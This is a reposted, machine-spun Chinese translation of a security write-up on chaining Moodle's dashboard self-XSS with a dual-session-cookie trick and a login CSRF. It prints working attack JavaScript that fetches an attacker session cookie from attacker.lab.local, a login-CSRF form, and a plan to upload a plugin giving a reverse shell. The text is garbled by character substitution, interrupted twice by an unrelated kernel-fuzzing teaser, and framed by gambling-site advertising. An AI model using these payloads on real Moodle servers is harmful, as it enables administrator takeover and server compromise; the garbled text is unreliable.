应用Moodle本身特征与其他破绽来发起XSS进击 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用Moodle本身特征与其他破绽来发起XSS进击

申博_安全预警 申博 110次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-由于Moodle许可用户在只对用户本身可见的仪表板中嵌入恣意HTML,这就为self-XSS制造了条件。在这篇文章中,我们将会为读者细致引见怎样应用这类破绽——设置具有限定途径的第二个会话cookie,并连系登录CSRF破绽,经由过程Moodle的内置模仿功用来进击其他用户。此前,进击者应用self-XSS破绽时,一般只能取得DOM的只读接见权限,但应用本文引见的要领,则可以或许让JavaScript以受益用户的身份来运转,从而完成通例XSS的进击结果。

下面的视频展现了怎样经由过程进击治理员,为进击者的shell授与Moodle服务器的接见权限。在这个视频中,治理员只需点击了进击者发送给的链接,那末,当他们再次运用统一阅读器登录其账户时,响应的JavaScript代码就会上传歹意插件,进而在Web服务器上为进击者返回shell。

【请在此插进去视频地点】
以治理员身份上传歹意插件

简介

不久前,我发现了一些将self-XSS与其他破绽综合应用的手艺,以是,当我在Moodle平安声明中看到以下平安问题时,马上引起了我的兴致:

经由过程身份验证的用户[sic]可以或许向仪表板增加含有剧本的HTML块,这一般不是平安问题,由于小我仪表板仅对该用户可见。

虽然这是一个一般的特征,而非存储型self-XSS破绽,但有时刻二者实际上是等效的,比方,当用户可以或许插进去在目的域的高低文中运转的恣意HTML和JavaScript代码,而且它们只在用户本身的阅读器中显现的时刻。

若是登录表单也没有供应CSRF珍爱的话,那末,就可以或许应用本文引见的手艺来取得受益用户可以或许检察的任何页面的只读接见权限。不外,这类进击结果并非太抱负,以是,我须要想法把它酿成一个“正经八摆”的XSS破绽,以便可以或许以受益者身份来运转恣意的JavaScript代码。

双会话Cookie

我提出的要领应用了PHP和阅读器关于多个具有雷同称号的cookie的处置惩罚体式格局。

PHP

依据我的视察,向Moodle发送要求时,若是在一个要求中包罗两个会话cookie的话,它会运用位于Cookie头部中的第一个会话cookie,而疏忽第二个会话cookie。因而,鄙人面的要求中,以粗体凸起显现的会话cookie将用于标识登录用户的身份,而同名的另一个会话cookie则被疏忽:

GET /my/ HTTP/1.1
...
Cookie: MoodleSession=0ab0af2b5369369af1fae6b097cf64f7; MoodleSession=d879cda2c1b27a4eefa02e7a48a63d73

这是PHP处置惩罚多个cookie的体式格局而至:在$_COOKIE超全局变量中只会生存第一个cookie。

阅读器

Chrome和Firefox阅读器可以或许天生包罗多个重名的cookie的要求,条件是它们位于分歧的途径,而且cookie的值也不雷同,就像上面的要求那样。因而,假设在阅读器中设置了两个cookie:

  • 个中,一个cookie名为MoodleSession,其途径为/,寄存的是与Alice的账户相干联的会话标识符;
  • 另一个cookie也名为MoodleSession,不外途径为/my/,寄存的是与Bob的账户相干联的会话标识符。

如许,关于指向/my/以外的途径的要求时,只会发送Alice的会话cookie,而针对/my/途径的要求,会同时发送两个会话cookie(/my/是Moodle用户仪表板的途径)。由此看来,Chrome和Firefox都邑优先发送途径限定更多的cookie,因而,Bob的会话cookie将第一个发送,因而,当该阅读器要求/my/时,Moodle会运用Bob的会话cookie。以是,该阅读器的用户接见Moodle时,他们看到的内容与以Alice的身份登录时看到的一样,只要接见/my/时除外,这时候看到的是Bob的仪表板。

内核fuzz技术系列(2)——bochspwn

前言 2013年Project Zero的j00ru开源了用bochs的插桩API实现的挖掘内核double fetch漏洞的工具bochspwn,2018年j00ru更新了bochspwn,还开源了同样用bochs的插桩API实现的挖掘未初始化导致的内核信息泄露漏洞的工具bochspwn-reloaded。这

破绽应用

若是将登录表单上的CSRF破绽和双会话cookie的特别行动连系起来,我们就可以或许运用嵌入在仪表板上的JavaScript代码来进击其他用户。我的试验情况是一个安装在http://moodle.lab.local上的Moodle体系,它包罗一个名为admin的治理员账户,和一个进击者可以或许接见的低特权账户:attacker。另外,另有一个处于进击者掌握之下的服务器,位于attacker.lab.local。一切用到的文件都可以或许从这个GitHub存储库中下载。

1.设置cookie

起首,进击者在其仪表板中嵌入一个剧本,比方上面GitHub存储库中的剧本,个中局部代码以下所示。这项事情并不难,只需增加新的HTML块便可,而且,还可以或许借助于阻拦署理(如BurpSuite)。

// Target site, without a trailing slash
let moodleRoot = "http://moodle.lab.local";

// Attacker site without a trailing slash
let attackerRoot = "http://attacker.lab.local";

// Use the "poisoned" cookie to tell if the first stage has been completed
if (!document.cookie.includes("poisoned")) { // First stage
    let callback = function() {
        let attackerCookie = this.responseText;
        document.cookie = "MoodleSession=" + attackerCookie + "; path=/my/; expires=Thu, 31 Dec 2020 01:00:00 UTC;";
        document.cookie = "poisoned=1; path=/my/; expires=Thu, 31 Dec 2020 01:00:00 UTC;";

        // Have to logout now as can't clear cookie
        let logoutURL = document.querySelector("a[data-title='logout,moodle']").href;
        document.location.replace(logoutURL);
    };

    // Send off for attacker's cookie
    let req = new XMLHttpRequest();
    req.addEventListener("load", callback);
    req.open("GET", `${attackerRoot}/cookie.php`);
    req.send();

} else { // Second stage
  ...

moodle.js剧本

该剧本会搜检是不是在阅读器中设置了名为poisoned的cookie。若是没有的话,就设置该cookie,并应用cookie.php剧本要求attacker账户的会话cookie,然后将其放入途径为/my/、名为MoodleSession的cookie中。然后,该剧本会注销attacker账户,这不会致使新设置的会话cookie失效,由于相干要求的途径是指向/my/以外的。

若是存在中毒的cookie,该剧本将实行终究的XSS payload,这一点将在稍后议论。

2.进击要领

然后,进击者可以或许经由过程一个简朴的登录CSRF payload(比以下面让受益者登录到attacker账户的payload)来进击目的用户(在本例中是admin账户的一切者)。

<html>
  <body>
    <form action="http://moodle.lab.local/login/index.php" method="POST" id="loginform">
      <input type="hidden" name="anchor" value="" />
      <input type="hidden" name="username" value="attacker" />
      <input type="hidden" name="password" value="Password1!" />
    </form>
    <script>
      document.getElementById("loginform").submit();
    </script>
  </body>
</html>

强迫用户登录到“attacker”账户的登录CSRF payload。

这将致使受益者检察进击者账户的仪表板,并在阅读器中运转的前面的剧本。然后,受益者将在阅读器中设置有毒的cookie和隶属于attacker账户的会话cookie,途径为/my/,然后举行注销。

受益者下次运用统一阅读器登录admin账户时,他们可以或许一般阅读除仪表板以外的一切Moodle功用,包孕治理面板。然则,经由过程/my/加载其仪表板时,将返回attacker账户的仪表板,个中含有上面的剧本代码。由于阅读器中存在中毒的cookie,因而,该剧本将实行第二阶段的进击代码。

3. 终究的payload

在这里,弹出警报框也不会带来很大的影响,由于它会显现到attacker账户的仪表板上,而非显现到admin账户的仪表板上。由于我们依然可以或许以治理员账户向治理面板发送要求,以是,我决议运用JavaScript来上传一个歹意插件。该插件将经由过程version.php文件为进击者返回一个反向shell。

【请在此插进去视频地点】
运用登录CSRF破绽进击治理员(与前面的视频雷同)

读者可以或许从这里找到实行该操纵的JavaScript,其作用是从进击者的服务器高低载plugin.zip文件,并复制插件经由过程Web界面上传时须要发送的要求。

应用模仿功用

最后,Moodle只修复了登录表单上的CSRF破绽,但进击者依然可以或许经由过程Moodle的模仿功用来应用这个破绽。为此,进击者可以或许想法让治理员模仿他们的账户,以让治理员检察进击者的仪表板,如许就没必要依靠登录CSRF破绽了。然后,就可以或许运用雷同的剧正本应用这个平安破绽了。

内核fuzz技术系列(2)——bochspwn

前言 2013年Project Zero的j00ru开源了用bochs的插桩API实现的挖掘内核double fetch漏洞的工具bochspwn,2018年j00ru更新了bochspwn,还开源了同样用bochs的插桩API实现的挖掘未初始化导致的内核信息泄露漏洞的工具bochspwn-reloaded。这


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用Moodle本身特征与其他破绽来发起XSS进击
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址